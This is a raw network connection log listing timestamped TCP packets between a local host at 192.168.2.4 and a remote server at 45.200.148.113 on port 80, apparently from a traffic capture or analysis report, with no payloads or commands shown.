Oct 1, 2024 07:51:14.856520891 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.856530905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.856540918 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.856551886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.856561899 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.856573105 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.856611013 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.856827021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.856838942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.856849909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.856877089 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.856901884 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.857214928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.857223988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.857234955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.857245922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.857254982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.857264996 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.857265949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.857275963 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.857287884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.857295990 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.857299089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.857311010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.857323885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.857347965 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.857371092 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.858036995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858047962 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858058929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858071089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858082056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858094931 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.858095884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858107090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858129025 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.858155012 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.858670950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858681917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858692884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858701944 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858712912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858722925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858725071 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.858732939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858745098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858757973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858778000 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.858783007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858793020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.858798981 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.858823061 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.859565973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.859576941 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.859587908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.859599113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.859610081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.859621048 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.859632015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.859642029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.859643936 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.859652996 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.859679937 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.859714031 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.860404015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.860414028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.860424995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.860434055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.860444069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.860455036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.860464096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.860470057 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.860475063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.860486031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.860496044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.860506058 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.860543013 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.860564947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.861146927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.861243963 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.861254930 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.861265898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.861277103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.861288071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.861296892 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.861299038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.861341953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.866285086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.866326094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.866337061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.866374016 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.866413116 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.866457939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.866485119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.866533995 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.866693974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.866725922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.866738081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.866769075 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.866797924 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.866945028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.866956949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.866992950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.867171049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.867181063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.867192984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.867203951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.867213011 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.867214918 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.867224932 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.867235899 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.867245913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.867285013 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.867664099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.867710114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.867722034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.867733955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.867764950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.867790937 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.868022919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.868060112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.935184002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.935203075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.935215950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.935259104 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.935291052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.935305119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.935316086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.935326099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.935338974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.935345888 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.935405016 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.935646057 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.935693979 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.935823917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.935836077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.935847998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.935859919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.935869932 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.935899973 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.936058044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.936069012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.936079979 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.936089993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.936103106 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.936111927 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.936150074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.936192036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.936203003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.936243057 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.936559916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.936569929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.936614037 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.936727047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.936774969 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.936924934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.936939001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.936947107 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.936975956 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.937061071 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.945842981 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.945924044 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.946023941 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.946034908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.946047068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.946069002 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.946098089 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.946156025 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.946331978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.946342945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.946352959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.946393967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.946407080 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.946690083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.946700096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.946716070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.946768999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.946858883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.946870089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.946881056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.946886063 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.946892977 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.946912050 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.946943998 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.947196960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.947206974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.947216988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.947227955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.947241068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.947254896 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.947278976 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.947572947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.947746038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.947757959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.947818995 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.947917938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.947928905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.947938919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.947946072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.947973967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.948007107 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.948009968 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.948019028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.948029041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.948040009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.948050022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.948061943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.948085070 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.948858023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.948868990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.948879957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.948890924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.948896885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.948901892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.948915005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.948921919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.948936939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.948993921 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.949511051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.949523926 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.949536085 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.949547052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.949574947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.949579000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.949590921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.949601889 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.949621916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.949651003 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.949771881 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.949783087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.949794054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.949835062 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.950598955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.950612068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.950622082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.950633049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.950643063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.950654030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.950694084 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.950714111 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.021929979 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.026701927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.194834948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.194859982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.194870949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.194900036 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.194942951 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.194986105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.194998026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.195008993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.195019007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.195039034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.195071936 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.195290089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.195347071 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.195364952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.195375919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.195394039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.195395947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.195405960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.195414066 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.195432901 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.195453882 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.195698977 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.195708990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.195719957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.195730925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.195740938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.195748091 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.195751905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.195765972 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.195785999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.196185112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196196079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196207047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196217060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196228027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196234941 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.196238995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196249008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196257114 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.196260929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196285009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.196314096 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.196845055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196856976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196866989 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196878910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196890116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196892023 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.196901083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196911097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196922064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196928978 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.196932077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196943045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.196949005 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.196965933 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.196990013 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.197752953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.197765112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.197774887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.197791100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.197801113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.197807074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.197809935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.197813034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.197822094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.197832108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.197841883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.197844028 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.197854042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.197866917 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.197889090 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.198683977 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.198694944 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.198704958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.198715925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.198725939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.198730946 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.198744059 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.198750019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.198755980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.198765993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.198776007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.198786020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.198807955 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.198849916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.199625969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.199640989 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.199651957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.199675083 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.199680090 CEST	80	49732	45.200.148.113	192.168.2.4
